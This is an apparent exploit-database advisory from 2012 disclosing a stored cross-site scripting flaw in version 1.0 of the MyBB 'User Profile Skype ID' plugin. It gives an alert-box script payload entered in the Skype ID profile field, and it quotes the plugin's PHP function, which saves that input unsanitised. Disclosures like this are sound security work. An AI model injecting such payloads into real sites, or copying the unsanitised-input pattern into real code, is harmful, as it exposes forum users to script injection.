MyBB User Profile Skype ID Plugin 1.0 - Persistent Cross-Site Scripting

# Exploit Title: Profile Skype ID MyBB Plugin Stored XSS
# Date: 14/12/2012
# Exploit Author: limb0
# Vendor Homepage: http://www.dragonknightz.net/
# Software Link: http://mods.mybb.com/view/user-profile-skype-id
# Version: 1.0
# Category:Web Security
# Tested on: Linux

+------------------------------------------------------------+
Stored XSS-Instructions
1.Install&Activate plugin
2.Go to UserCP >> Edit Profile >>  Skype ID:
3.Inject your string(xss) ex. "><script>alert("Skype ID XSS")</script>
4.Visit your profile and voila

Proof
Inject:https://imageshack.us/photo/my-images/22/screenshotfrom201212141.png/
Result:https://imageshack.us/photo/my-images/41/screenshotfrom201212141.png/
+-------------------------------------------------------------+

Vulnerable code:
function profileskype_update($skype)
{
  global $mybb;
  if (isset($mybb->input['skype']))
   {
      $skype->user_update_data['skype'] = $mybb->input['skype'];
   }
}